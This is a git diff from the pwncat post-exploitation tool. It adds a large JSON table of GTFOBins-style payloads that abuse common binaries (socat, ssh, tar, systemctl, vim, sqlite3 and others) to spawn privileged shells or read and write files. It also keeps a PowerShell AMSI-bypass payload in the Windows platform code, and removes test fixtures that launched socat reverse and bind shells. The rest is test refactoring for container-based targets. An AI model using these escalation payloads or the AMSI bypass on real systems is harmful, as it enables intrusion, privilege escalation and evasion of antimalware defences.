+ "stream": "print", + "payload": "{command}", + "args": [ + "-z", + "{lfile}" + ] + } + ], + "socat": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "STDIN", + "EXEC:{shell},nofork,pty" + ], + "exit": "exit\n" + }, + { + "type": "read", + "payload": "{command}", + "args": [ + "-u", + "FILE:{lfile}", + "STDOUT" + ] + }, + { + "type": "write", + "stream": "print", + "payload": "{command} 2>/dev/null", + "args": [ + "-u", + "STDIN", + "CREATE:{lfile}" + ], + "exit": "{ctrl_d}" + }, + { + "type": "write", + "stream": "base64", + "payload": "{base64} -d | {command} 2>/dev/null", + "args": [ + "-u", + "STDIN", + "CREATE:{lfile}" + ], + "exit": "{ctrl_d}" + } + ], + "soelim": [ + { + "type": "read", + "stream": "print", + "payload": "{command} | {tail} -n +2", + "args": [ + "{lfile}" + ] + } + ], + "sort": [ + { + "type": "read", + "stream": "print", + "payload": "{command}", + "args": [ + "-m", + "{lfile}" + ] + } + ], + "sqlite3": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "/dev/null", + "'.shell {shell} -p'" + ] + }, + { + "type": "read", + "stream": "print", + "payload": "echo -e \"CREATE TABLE t(line TEXT);\\n.import {lfile} t\\nSELECT * FROM t;\\n\" | {command}", + "args": [ + "" + ] + } + ], + "ssh": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-o", + "ProxyCommand=';{shell} -p 0<&2 1>&2'", + "x" + ] + } + ], + "start-stop-daemon": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-n", + "$RANDOM", + "-S", + "-x", + "{shell}", + "--", + "-p" + ] + } + ], + "stdbuf": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-i0", + "{shell}", + "-p" + ] + } + ], + "strace": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-o", + "/dev/null", + "{shell}", + "-p" + ] + } + ], + "strings": [ + { + "type": "read", + "stream": "print", + "payload": "{command}", + "args": [ + "{lfile}" + ] + } + ], + "x86_64-linux-gnu-strings": [ + { + "type": "read", + "stream": "print", + "payload": "{command}", + "args": [ + "{lfile}" + ] + } + ], + "x86-linux-gnu-strings": [ + { + "type": "read", + "stream": "print", + "payload": "{command}", + "args": [ + "{lfile}" + ] + } + ], + "systemctl": [ + { + "type": "shell", + "payload": "TF=$({mktemp} -u).service; TS=$({mktemp} -u); echo -e \"[Service]\\nType=oneshot\\nExecStart={shell} -c 'cp {shell} $TS; {chmod} +sx $TS;'\\n[Install]\\nWantedBy=multi-user.target\" > $TF; {command} link $TF; {command} enable --now $TF; $TS -p", + "args": [] + }, + { + "type": "shell", + "payload": "{command}", + "input": "!{shell} -p\n", + "exit": "exit\n{ctrl_c}", + "args": [] + } + ], + "tac": [ + { + "type": "read", + "stream": "raw", + "payload": "{command}", + "args": [ + "-s", + "'_-_PWNCAT_RANDOM_DELIM_-_'", + "{lfile}" + ] + } + ], + "tail": [ + { + "type": "read", + "stream": "raw", + "payload": "{command}", + "args": [ + "-c1GB", + "{lfile}" + ] + } + ], + "tar": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-cf", + "/dev/null", + "/dev/null", + "--checkpoint=1", + "--checkpoint-action=exec={shell} -p" + ] + }, + { + "type": "shell", + "payload": "{command}", + "args": [ + "xf", + "/dev/null", + "-I", + "'{shell} -p -c \"{shell} -p <&2 1>&2\"'" + ] + }, + { + "type": "read", + "stream": "raw", + "payload": "{command} 2>&1", + "args": [ + "xf", + "{lfile}", + "-I", + "'{sh} -c \"{cat} 1>&2\"'" + ] + } + ], + "taskset": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "1", + "{shell}", + "-p" + ] + } + ], + "tclsh": [ + { + "type": "shell", + "payload": "TF=none; {command} -h 2>/dev/null 1>&2; TF=$({mktemp}); echo 'exec {shell} -p <@stdin >@stdout 2>@stderr; exit' > $TF; {command}", + "args": [ + "$TF" + ] + } + ], + "tee": [ + { + "type": "write", + "stream": "base64", + "payload": "{base64} -d | {command} >/dev/null", + "args": [ + "{lfile}" + ], + "exit": "{ctrl_d}{ctrl_d}" + } + ], + "time": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "{shell}", + "-p" + ] + } + ], + "timeout": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "--foreground", + "7d", + "{shell}", + "-p" + ] + } + ], + "tmux": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-c", + "{shell}" + ] + } + ], + "ul": [ + { + "type": "read", + "stream": "print", + "payload": "{command}", + "args": [ + "{lfile}" + ] + } + ], + "unexpand": [ + { + "type": "read", + "stream": "raw", + "payload": "{command}", + "args": [ + "-t99999999", + "{lfile}" + ] + } + ], + "uniq": [ + { + "type": "read", + "stream": "print", + "payload": "{command}", + "args": [ + "{lfile}" + ] + } + ], + "unshare": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "{shell}", + "-p" + ] + } + ], + "uuencode": [ + { + "type": "read", + "stream": "raw", + "payload": "{command} | {uudecode}", + "args": [ + "{lfile}", + "/dev/stdout" + ] + } + ], + "valgrind": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-q", + "{shell}" + ] + } + ], + "vi": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-c", + "':!exec {shell} -p'", + "-c", + "':q'" + ], + "exit": "exit\n\n" + } + ], + "vim": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-c", + "':!exec {shell} -p'", + "-c", + "':q'" + ], + "exit": "exit\n\n" + }, + { + "type": "shell", + "payload": "{command}", + "args": [ + "-c", + "':py3 import os; os.execl(\"{shell}\", \"{shell}\", \"-p\", \"-c\", \"reset; exec {shell} -p\")'", + "-c", + "'quit'" + ] + }, + { + "type": "shell", + "payload": "{command}", + "args": [ + "-c", + "':py import os; os.execl(\"{shell}\", \"{shell}\", \"-p\", \"-c\", \"reset; exec {shell} -p\")'", + "-c", + "'quit'" + ] + }, + { + "type": "shell", + "payload": "{command}", + "args": [ + "-c", + "':lua os.execute(\"reset; exec {shell}\")'", + "-c", + "'quit'" + ] + }, + { + "type": "read", + "stream": "print", + "payload": "{command}", + "args": [ + "-es", + "'+%print'", + "'+:q!'", + "{lfile}" + ] + }, + { + "type": "write", + "stream": "print", + "payload": "{cat} - | {command}", + "args": [ + "-es", + "'+%print'", + "'+:w! {lfile}'", + "'+:q!'", + "/dev/stdin" + ], + "exit": "{ctrl_d}" + } + ], + "vim.basic": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-c", + "':!exec {shell} -p'", + "-c", + "':q'" + ], + "exit": "exit\n\n" + }, + { + "type": "shell", + "payload": "{command}", + "args": [ + "-c", + "':py3 import os; os.execl(\"{shell}\", \"{shell}\", \"-p\", \"-c\", \"reset; exec {shell} -p\")'", + "-c", + "'quit'" + ] + }, + { + "type": "shell", + "payload": "{command}", + "args": [ + "-c", + "':py import os; os.execl(\"{shell}\", \"{shell}\", \"-p\", \"-c\", \"reset; exec {shell} -p\")'", + "-c", + "'quit'" + ] + }, + { + "type": "shell", + "payload": "{command}", + "args": [ + "-c", + "':lua os.execute(\"reset; exec {shell}\")'", + "-c", + "'quit'" + ] + }, + { + "type": "read", + "stream": "print", + "payload": "{command}", + "args": [ + "-es", + "'+%print'", + "'+:q!'", + "{lfile}" + ] + }, + { + "type": "write", + "stream": "print", + "payload": "{cat} - | {command}", + "args": [ + "-es", + "'+%print'", + "'+:w! {lfile}'", + "'+:q!'", + "/dev/stdin" + ], + "exit": "{ctrl_d}" + } + ], + "rvim": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-c", + "':!exec {shell} -p'", + "-c", + "':q'" + ], + "exit": "exit\n\n" + }, + { + "type": "shell", + "payload": "{command}", + "args": [ + "-c", + "':py3 import os; os.execl(\"{shell}\", \"{shell}\", \"-p\", \"-c\", \"reset; exec {shell} -p\")'", + "-c", + "'quit'" + ] + }, + { + "type": "shell", + "payload": "{command}", + "args": [ + "-c", + "':py import os; os.execl(\"{shell}\", \"{shell}\", \"-p\", \"-c\", \"reset; exec {shell} -p\")'", + "-c", + "'quit'" + ] + }, + { + "type": "shell", + "payload": "{command}", + "args": [ + "-c", + "':lua os.execute(\"reset; exec {shell}\")'", + "-c", + "'quit'" + ] + }, + { + "type": "read", + "stream": "print", + "payload": "{command}", + "args": [ + "-es", + "'+%print'", + "'+:q!'", + "{lfile}" + ] + }, + { + "type": "write", + "stream": "print", + "payload": "{cat} - | {command}", + "args": [ + "-es", + "'+%print'", + "'+:w! {lfile}'", + "'+:q!'", + "/dev/stdin" + ], + "exit": "{ctrl_d}" + } + ], + "wish": [ + { + "type": "shell", + "payload": "TF=none; {command} -h 2>/dev/null 1>&2; TF=$({mktemp}); echo 'exec {shell} -p <@stdin >@stdout 2>@stderr; exit' > $TF; {command}", + "args": [ + "$TF" + ] + } + ], + "xargs": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-a", + "/dev/null", + "{shell}", + "-p" + ], + "exit": "exit\n" + }, + { + "type": "read", + "stream": "print", + "payload": "{command}", + "args": [ + "-a", + "{lfile}", + "-0" + ] + } + ], + "xxd": [ + { + "type": "read", + "stream": "raw", + "payload": "{command} {lfile} | {command} -r ", + "args": [] + }, + { + "type": "write", + "stream": "raw", + "payload": "{xxd} -l {length} | {command}", + "args": [ + "-r", + "-", + "{lfile}" + ] + } + ], + "yum": [ + { + "type": "shell", + "payload": "TF=$({mktemp} -d); {cat} >$TF/x<$TF/y.conf<$TF/y.py</dev/null; TF=$({mktemp} -u); {command} $TF /etc/hosts -T -TT '{shell} #'", + "args": [] + } + ], + "zsh": [ + { + "type": "shell", + "payload": "{command}", + "args": [ + "-c", + "\"{shell} -p\"" + ] + } + ] +} diff --git a/pwncat/manager.py b/pwncat/manager.py index 4626a6d..7acabed 100644 --- a/pwncat/manager.py +++ b/pwncat/manager.py @@ -293,6 +293,8 @@ class Session: while self.layers: self.layers.pop()(self) + self.platform.exit() + self.platform.channel.close() self.died() @@ -314,7 +316,7 @@ class Manager: sessions, and executing modules. """ - def __init__(self, config: str = "./pwncatrc"): + def __init__(self, config: str = None): self.config = Config() self.sessions: List[Session] = [] self.modules: Dict[str, pwncat.modules.BaseModule] = {} @@ -377,6 +379,9 @@ class Manager: except (FileNotFoundError, PermissionError): pass + if self.db is None: + self.open_database() + def __enter__(self): """Begin manager context tracking""" diff --git a/pwncat/platform/__init__.py b/pwncat/platform/__init__.py index 9d2ae7b..82f3ff6 100644 --- a/pwncat/platform/__init__.py +++ b/pwncat/platform/__init__.py @@ -526,6 +526,10 @@ class Platform(ABC): """Retrieve a string describing the platform connection""" return str(self.channel) + @abstractmethod + def exit(self): + """ Exit this session """ + @abstractmethod def refresh_uid(self) -> Union[int, str]: """ Refresh the cached UID of the current session. """ diff --git a/pwncat/platform/linux.py b/pwncat/platform/linux.py index 355d174..2ef1156 100644 --- a/pwncat/platform/linux.py +++ b/pwncat/platform/linux.py @@ -106,7 +106,10 @@ class PopenLinux(pwncat.subprocess.Popen): return self.returncode if self.stdin is not None: - self.stdin.flush() + try: + self.stdin.flush() + except ValueError: + pass # This gets a 'lil... funky... Normally, the ChannelFile # wraps a non-blocking socket in a blocking file object @@ -525,6 +528,11 @@ class Linux(Platform): self.refresh_uid() + def exit(self): + """ Exit this session """ + + self.channel.send(b"exit\n") + def disable_history(self): """Disable shell history""" @@ -560,7 +568,7 @@ class Linux(Platform): ] ) if python_path is not None: - pty_command = f""" exec {python_path} -c "import pty; pty.spawn('{shell} -i')" 2>&1\n""" + pty_command = f""" exec {python_path} -c "import pty; pty.spawn('{shell}')" 2>&1\n""" if pty_command is not None: self.logger.info(pty_command.rstrip("\n")) @@ -576,6 +584,16 @@ class Linux(Platform): # When starting a pty, history is sometimes re-enabled self.disable_history() + # Ensure that the TTY settings make sense + self.Popen( + [ + "stty", + "400:1:bf:8a33:3:1c:7f:15:4:0:1:0:11:13:1a:0:12:f:17:16:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0", + ], + stdin=subprocess.PIPE, + stdout=subprocess.PIPE, + ).wait() + return raise PlatformError("no avialable pty methods") @@ -1107,7 +1125,7 @@ class Linux(Platform): ): try: payload, input_data, exit_cmd = method.build( - gtfo=self.gtfo, lfile=path, suid=True, length=1000000 + gtfo=self.gtfo, lfile=path, suid=True ) break except MissingBinary: @@ -1136,7 +1154,7 @@ class Linux(Platform): ): try: payload, input_data, exit_cmd = method.build( - gtfo=self.gtfo, lfile=path, suid=True, length=1000000 + gtfo=self.gtfo, lfile=path, suid=True ) break except MissingBinary: diff --git a/pwncat/platform/windows.py b/pwncat/platform/windows.py index 78e0008..ceff022 100644 --- a/pwncat/platform/windows.py +++ b/pwncat/platform/windows.py @@ -591,9 +591,12 @@ function prompt { self.host_uuid = self.channel.recvline().strip().decode("utf-8") # Bypass AMSI - self.powershell( - """$am = ([Ref].Assembly.GetTypes() | % { If ( $_.Name -like "*iUtils" ){$_} })[0];$con = ($am.GetFields('NonPublic,Static') | % { If ( $_.Name -like "*Context" ){$_} })[0];$addr = $con.GetValue($null);[IntPtr]$ptr = $addr;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1);""" - ) + try: + self.powershell( + """$am = ([Ref].Assembly.GetTypes() | % { If ( $_.Name -like "*iUtils" ){$_} })[0];$con = ($am.GetFields('NonPublic,Static') | % { If ( $_.Name -like "*Context" ){$_} })[0];$addr = $con.GetValue($null);[IntPtr]$ptr = $addr;[Int32[]]$buf = @(0); if( $ptr -ne $null -and $ptr -ne 0 ) { [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1); }""" + ) + except PowershellError as exc: + self.session.log("[yellow]warning[/yellow]: failed to disable AMSI!") def get_pty(self): """ We don't need to do this for windows """ @@ -830,11 +833,8 @@ function prompt { def refresh_uid(self): """ Retrieve the current user ID """ - self.powershell( - "Add-Type -AssemblyName System.DirectoryServices.AccountManagement" - ) self.user_info = self.powershell( - "([System.DirectoryServices.AccountManagement.UserPrincipal]::Current).SID.Value" + "[System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value" )[0] def getuid(self): diff --git a/run-tests.sh b/run-tests.sh new file mode 100755 index 0000000..ff82ad1 --- /dev/null +++ b/run-tests.sh @@ -0,0 +1,25 @@ +#!/bin/sh +## Run pytest for pwncat. This script will start up the needed +## containers locally and then kick off pytest, pointing at the +## containers. + +echo "[!] we can only test centos and ubuntu locally" + +CENTOS_CONTAINER=$(podman run --rm -d -p :22 -p :4444 -p :9999 -t calebjstewart/pwncat-testing:centos) +echo "[+] started centos container: $CENTOS_CONTAINER" +UBUNTU_CONTAINER=$(podman run --rm -d -p :22 -p :4444 -p :9999 -t calebjstewart/pwncat-testing:ubuntu) +echo "[+] started centos container: $UBUNTU_CONTAINER" + +CENTOS_BIND_PORT=$(podman inspect "$CENTOS_CONTAINER" | jq -r '.[0].HostConfig.PortBindings["4444/tcp"][0].HostPort') +UBUNTU_BIND_PORT=$(podman inspect "$UBUNTU_CONTAINER" | jq -r '.[0].HostConfig.PortBindings["4444/tcp"][0].HostPort') + +echo "[+] centos bind port: $CENTOS_BIND_PORT" +echo "[+] ubuntu bind port: $UBUNTU_BIND_PORT" + +CENTOS_HOST="127.0.0.1" CENTOS_BIND_PORT=$CENTOS_BIND_PORT UBUNTU_HOST="127.0.0.1" UBUNTU_BIND_PORT=$UBUNTU_BIND_PORT \ + pytest + +podman container kill "$CENTOS_CONTAINER""" +echo "[+] killed centos container" +podman container kill "$UBUNTU_CONTAINER" +echo "[+] killed ubuntu container" diff --git a/tests/conftest.py b/tests/conftest.py index 8ecfde3..fc8de2a 100644 --- a/tests/conftest.py +++ b/tests/conftest.py @@ -1,277 +1,103 @@ #!/usr/bin/env python3 -import dataclasses +import os +import time import random import socket import string -import time -import os +import dataclasses +from io import StringIO -import digitalocean import pytest +import digitalocean from xprocess import ProcessStarter +from pwncat.channel import ChannelError from Crypto.PublicKey import RSA -# Test multiple shells -SHELLS = ["/bin/sh", "/bin/bash", "/usr/bin/dash", "/usr/bin/zsh"] +PLATFORM_MAP = {"ubuntu": "linux", "centos": "linux", "windows": "windows"} -class LinuxReverseStarter(ProcessStarter): - """ Start an infinite linux reverse shell using socat """ +def connection_details_for(name): + """Get connection details from environment for the given + host type name (e.g. ubuntu, centos, windows)""" - name = "linux_reverse" - pattern = "READY" - args = [ - "/bin/sh", - "-c", - "echo READY; socat TCP4:127.0.0.1:{port},retry,forever,fork EXEC:{shell}", - ] - timeout = 5 + if name not in PLATFORM_MAP: + pytest.skip(f"{name} is not a known target") - @classmethod - def get_connection_details(cls): - """ Custom method to provide connection details across all starters """ + if ( + f"{name.upper()}_HOST" not in os.environ + or f"{name.upper()}_BIND_PORT" not in os.environ + ): + pytest.skip(f"{name} not available") - return { - "platform": "linux", - "host": "127.0.0.1", - "port": cls.port, - "protocol": "bind", - } - - def startup_check(self): - - details = self.get_connection_details() - - # with socket.create_server( - # (details["host"], details["port"]), reuse_port=True - # ) as sock: - # client = sock.accept() - - return True + return { + "platform": PLATFORM_MAP[name], + "host": os.environ[f"{name.upper()}_HOST"], + "port": int(os.environ[f"{name.upper()}_BIND_PORT"]), + "protocol": "connect", + } -class LinuxBindStarter(ProcessStarter): - """ Start an infinite linux bind shell using socat """ - - name = "linux_bind" - pattern = "READY" - args = [ - "/bin/sh", - "-c", - "echo READY; socat TCP4-LISTEN:{port},bind=127.0.0.1,reuseaddr,fork EXEC:{shell}", - ] - timeout = 5 - - @classmethod - def get_connection_details(cls): - """ Return connection details for this method """ - - return { - "platform": "linux", - "host": "127.0.0.1", - "port": cls.port, - "protocol": "connect", - } - - def startup_check(self): - - details = self.get_connection_details() - - with socket.create_connection((details["host"], details["port"])) as sock: - pass - - return True +@pytest.fixture(params=["ubuntu", "centos"]) +def linux_details(request): + """ Get available connection details for linux hosts """ + return connection_details_for(request.param) -class LinuxFixtureParam(str): - """This is a hack to get the names of parameterized fixtures - to have meaning beyond "0", "1", "2", etc. Basically, we create - a new sublass of string, and apply a constant value which we want - to be the name of the parameterized fixture. We also assign members - which contain the process starter and shell path for access by the - fixture itself.""" - - def __new__(cls, starter, shell): - obj = str.__new__(cls, f"{starter.name}_{os.path.basename(shell)}") - obj.__init__(starter, shell) - return obj - - def __init__(self, starter, shell): - self.starter = starter - self.shell = shell +@pytest.fixture(params=["windows"]) +def windows_details(request): + """ Get available connection details for windows hosts """ + return connection_details_for(request.param) -def LinuxEnumShells(starter): - return [LinuxFixtureParam(starter, shell) for shell in SHELLS] +def session_for(request): + # Grab details for this target + details = connection_details_for(request.param) -@pytest.fixture( - params=[ - *LinuxEnumShells(LinuxReverseStarter), - *LinuxEnumShells(LinuxBindStarter), - ] -) -def linux(xprocess, request): - """ Create linux connections available to the pwncat tests """ + # Check if there are manager arguments + manager_args = getattr( + request.node.get_closest_marker("manager_config"), "args", {} + ) + if not manager_args: + manager_args = {} - class Starter(request.param.starter): - shell = request.param.shell - args = request.param.starter.args - - # We need to make a copy of the args array, and assign the port - # outside of the class definition to ensure we don't modify the - # class of other fixture parameters by mistake. - Starter.args = request.param.starter.args[:].copy() - Starter.port = random.randint(30000, 60000) - Starter.args[-1] = Starter.args[-1].format(port=Starter.port, shell=Starter.shell) - - logfile = xprocess.ensure(str(request.param), Starter) - - yield Starter.get_connection_details() - - xprocess.getinfo(str(request.param)).terminate() - - -@pytest.fixture -def session(linux): + if "config" not in manager_args: + manager_args["config"] = StringIO( + """ +set -g db "memory://" + """ + ) import pwncat.manager - with pwncat.manager.Manager(config=None) as manager: - session = manager.create_session(**linux) - yield session - - -@dataclasses.dataclass -class DigitalOceanFixture(object): - """ Digital Ocean Fixture Data """ - - ubuntu: digitalocean.Droplet - """ Ubuntu 20.04 droplet instance """ - centos: digitalocean.Droplet - """ CentOS 7 droplet instance """ - windows: digitalocean.Droplet - """ Windows droplet instance """ - - user: str - """ Username for initial access """ - password: str - """ Password for initial access """ - ssh_key: str - """ SSH private key used for auth to Linux servers """ - bind_port: int - """ Port where shells are bound on the given servers """ - - -@pytest.fixture -def digital_ocean(): - """ Construct digital ocean targets for remote testing """ - - manager = digitalocean.Manager() - project = [p for p in manager.get_all_projects() if p.name == "pwncat"][0] - unique_name = "test-" + "".join( - random.choices(list(string.ascii_letters + string.digits), k=5) - ) - - key = RSA.generate(2048) - pubkey = key.publickey() - - droplets = [] - keys = [] - - try: - - # Create the key - do_key = digitalocean.SSHKey( - name=unique_name, public_key=pubkey.exportKey("OpenSSH").decode("utf-8") - ) - do_key.create() - keys.append(do_key) - - # Create ubuntu vm - ubuntu = digitalocean.Droplet( - name=unique_name + "-ubuntu", - region="nyc1", - image="ubuntu-20-04-x64", - size_slug="s-1vcpu-1gb", - ssh_keys=[do_key], - backups=False, - ) - ubuntu.create() - droplets.append(ubuntu) - - # Create centos vm - centos = digitalocean.Droplet( - name=unique_name + "-ubuntu", - region="nyc1", - image="ubuntu-20-04-x64", - size_slug="s-1vcpu-1gb", - ssh_keys=[do_key], - backups=False, - ) - centos.create() - droplets.append(centos) - - # Create windows vm - windows = digitalocean.Droplet( - name=unique_name + "-ubuntu", - region="nyc1", - image="ubuntu-20-04-x64", - size_slug="s-1vcpu-1gb", - ssh_keys=[do_key], - backups=False, - ) - windows.create() - droplets.append(windows) - - # Add tag to droplets - tag = digitalocean.Tag(name=unique_name) - tag.create() - tag.add_droplets([ubuntu.id, windows.id, centos.id]) - - # Wait for droplets to be up - waiting_droplets = droplets.copy() - while waiting_droplets: - for droplet in waiting_droplets: - actions = droplet.get_actions() - for action in droplet.get_actions(): - action.load() - if action.status != "completed": - break - else: - droplet.load() - waiting_droplets.remove(droplet) - break - time.sleep(1) - time.sleep(5) - - # Wait for SSH to be up on the droplets - while True: - for droplet in droplets: - try: - with socket.create_connection((droplet.ip_address, 22)) as sock: - pass - except socket.error: - break - else: + with pwncat.manager.Manager(**manager_args) as manager: + for i in range(3): + try: + session = manager.create_session(**details) + yield session break - time.sleep(5) + except ChannelError: + # This seems to be because of the contaiener setup, so we just add + # a little sleep in + time.sleep(2) + else: + raise Exception("failed to connect to container") - yield DigitalOceanFixture( - ubuntu=ubuntu, - centos=centos, - windows=windows, - user="root", - password="wrong", - ssh_key=key, - bind_port=0, - ) - finally: +@pytest.fixture(params=["windows", "ubuntu", "centos"]) +def session(request): + """ Start a session with any platform """ + yield from session_for(request) - for droplet in manager.get_all_droplets(tag_name=unique_name): - droplet.destroy() - for do_key in manager.get_all_sshkeys(): - if do_key.name == unique_name: - do_key.destroy() +@pytest.fixture(params=["windows"]) +def windows(request): + """ Start a windows session """ + yield from session_for(request) + + +@pytest.fixture(params=["ubuntu", "centos"]) +def linux(request): + """ Start a linux session """ + + yield from session_for(request) diff --git a/tests/platforms/test_generic.py b/tests/platforms/test_generic.py index 784ee3e..7d21b87 100644 --- a/tests/platforms/test_generic.py +++ b/tests/platforms/test_generic.py @@ -1,171 +1,43 @@ #!/usr/bin/env python3 import os import base64 +import subprocess + +import pytest +from pwncat.util import random_string -def test_file_read_printable(session, tmp_path): - """ Test abstracted linux path interaction """ +def test_file_read_write(session): + """ Test file read/write of printable data """ - # Printable data to read from a file - expected_contents = base64.b64encode(os.urandom(4096)).decode("utf-8") + contents = os.urandom(1024) + with session.platform.tempfile(mode="wb") as filp: + filp.write(contents) + path = filp.name - # Write to a temporary file - with (tmp_path / "test").open("w") as filp: - filp.write(expected_contents) + assert session.platform.Path(path).exists() - # Attempt to read through linux session - with (session.platform.Path(str(tmp_path)) / "test").open("r") as filp: - contents = filp.read() - - # Ensure match - assert contents == expected_contents + with session.platform.open(path, "rb") as filp: + assert contents == filp.read() -def test_file_read_binary(session, tmp_path): - """ Test abstract linux path read for binary data """ +def test_platform_mkdir(session): + """ Test creating a directory """ - # Generate unique random data - expected_contents = os.urandom(8192) + path = session.platform.Path(random_string()) - with (tmp_path / "test").open("wb") as filp: - filp.write(expected_contents) - - with (session.platform.Path(str(tmp_path)) / "test").open("rb") as filp: - contents = filp.read() - - assert contents == expected_contents + path.mkdir() + assert session.platform.Path(str(path)).is_dir() -def test_file_write_printable(session, tmp_path): - """ Test abstract file-write w/ printable data """ +def test_platform_run(session): - # Printable data to write to a file - expected_contents = base64.b64encode(os.urandom(4096)).decode("utf-8") + # Ensure command output works + output_remote = session.platform.run( + ["echo", "hello world"], capture_output=True, text=True, check=True + ) + assert output_remote.stdout == "hello world\n" - # Write to a temporary file - with (session.platform.Path(str(tmp_path)) / "test").open("w") as filp: - filp.write(expected_contents) - - # Attempt to read through linux session - with (tmp_path / "test").open("r") as filp: - contents = filp.read() - - # Ensure match - assert contents == expected_contents - - -def test_file_write_binary(session, tmp_path): - """ Test abstract file-write w/ binary data """ - - # data to write to a file - expected_contents = os.urandom(8192) - - # Write to a temporary file - with (session.platform.Path(str(tmp_path)) / "test").open("wb") as filp: - filp.write(expected_contents) - - # Attempt to read through linux session - with (tmp_path / "test").open("rb") as filp: - contents = filp.read() - - # Ensure match - assert contents == expected_contents - - -def test_file_stat(session, tmp_path): - """ Test various stat routines """ - - dir_path = tmp_path / "directory" - dir_path.mkdir(exist_ok=True, parents=True) - - file_path = dir_path / "file" - file_path.touch() - - symlink_path = dir_path / "symlink" - symlink_path.symlink_to(file_path) - - # NOTE - this doesn't work on real python, and I'm not sure why... :sob: - # link_path = dir_path / "link" - # link_path.link_to(file_path) - - dir_path = session.platform.Path(str(dir_path)) - file_path = session.platform.Path(str(file_path)) - - # Ensure appropriate properties - assert dir_path.is_dir() - assert not dir_path.is_file() - assert not dir_path.is_mount() - assert not dir_path.is_symlink() - assert not dir_path.is_socket() - assert not dir_path.is_fifo() - assert not dir_path.is_block_device() - assert not dir_path.is_char_device() - - # Ensure appropriate file properties - assert file_path.is_file() - assert not file_path.is_dir() - assert not file_path.is_mount() - assert not file_path.is_symlink() - assert not file_path.is_socket() - assert not file_path.is_fifo() - assert not file_path.is_block_device() - assert not file_path.is_char_device() - - # Ensure symlink properties are correct - assert symlink_path.is_file() - assert not symlink_path.is_dir() - assert not symlink_path.is_mount() - assert symlink_path.is_symlink() - assert not symlink_path.is_socket() - assert not symlink_path.is_fifo() - assert not symlink_path.is_block_device() - assert not symlink_path.is_char_device() - - # Ensure link properties are correct - # See above note on why this is commented... - # assert link_path.is_file() - # assert not link_path.is_dir() - # assert not link_path.is_mount() - # assert not link_path.is_symlink() - # assert not link_path.is_socket() - # assert not link_path.is_fifo() - # assert not link_path.is_block_device() - # assert not link_path.is_char_device() - - # Ensure iterdir works - assert str(file_path) in [str(item) for item in dir_path.iterdir()] - - # link_path.unlink() - symlink_path.unlink() - assert not (dir_path / "symlink").exists() - - file_path.unlink() - assert not (dir_path / "file").exists() - - dir_path.rmdir() - assert not (session.platform.Path(tmp_path) / "directory").exists() - - # Ensure mount point is correct - assert session.platform.Path("/").is_mount() - - -def test_file_creation(session, tmp_path): - """ Test various file creation methods """ - - remote_path = session.platform.Path(tmp_path) - - # Create a directory - (remote_path / "directory").mkdir() - assert (remote_path / "directory").is_dir() - - # Remove directory - (remote_path / "directory").rmdir() - assert not (remote_path / "directory").is_dir() - - # Touch a file - (remote_path / "file").touch() - assert (remote_path / "file").is_file() - - # Delete file - (remote_path / "file").unlink() - assert not (remote_path / "file").is_file() + # Ensure we capture the process return code properly + with pytest.raises(subprocess.CalledProcessError): + session.platform.run("this_command_doesnt_exist", shell=True, check=True) diff --git a/tests/platforms/test_linux.py b/tests/platforms/test_linux.py index b398f21..4ac84fc 100644 --- a/tests/platforms/test_linux.py +++ b/tests/platforms/test_linux.py @@ -2,15 +2,3 @@ import subprocess import pytest - - -def test_linux_popen(session): - - # Ensure command output works - id_output_local = subprocess.run(["id"], capture_output=True, text=True) - id_output_remote = session.platform.run(["id"], capture_output=True, text=True) - assert id_output_local.stdout == id_output_remote.stdout - - # Ensure we capture the process return code properly - with pytest.raises(subprocess.CalledProcessError): - session.platform.run("echo something | grep nothing", shell=True, check=True) diff --git a/tests/test_manager.py b/tests/test_manager.py index 8995680..915bf0c 100644 --- a/tests/test_manager.py +++ b/tests/test_manager.py @@ -8,7 +8,7 @@ def test_config_fileobj(): configuration = io.StringIO( """ -set -g db "sqlite://:memory:" +set -g db "memory://" set -g prefix c-k set -g on_load { } set -g backdoor_user "config_test" @@ -35,11 +35,9 @@ def test_user_config(tmp_path): # Create our user configuration with (tmp_path / "pwncat" / "pwncatrc").open("w") as filp: - filp.write( - """ -set -g backdoor_user "config_test" - """ - ) + filp.writelines(["""set -g backdoor_user "config_test"\n"""]) + + os.chdir(tmp_path) # Create a manager object with default config to load our # user configuration. @@ -51,29 +49,3 @@ set -g backdoor_user "config_test" os.environ["XDG_DATA_HOME"] = old_home else: del os.environ["XDG_DATA_HOME"] - - -def test_multisession(linux): - - # Create a manager with the default configuration - with pwncat.manager.Manager(config=None) as manager: - - # Connect to the target twice to get two sessions - session1 = manager.create_session(**linux) - session2 = manager.create_session(**linux) - - # Ensure both sessions are tracked - assert len(manager.sessions) == 2 - - # Ensure they match what was returned by create_session - assert session1 in manager.sessions - assert session2 in manager.sessions - - # Ensure creating a session sets the current target - assert manager.target == session2 - - # Switch targets - manager.target = session1 - - # Ensure we are now tracking the expected target - assert manager.target == session1 diff --git a/tests/test_test.py b/tests/test_test.py index e0f78c1..3e9bc48 100644 --- a/tests/test_test.py +++ b/tests/test_test.py @@ -3,22 +3,3 @@ import io import pytest import paramiko - - -def test_digitalocean(digital_ocean): - - key = paramiko.rsakey.RSAKey.from_private_key( - io.StringIO(digital_ocean.ssh_key.exportKey("PEM").decode("utf-8")) - ) - - ubuntu = digital_ocean.ubuntu - ubuntu.load() - - client = paramiko.client.SSHClient() - client.load_system_host_keys() - 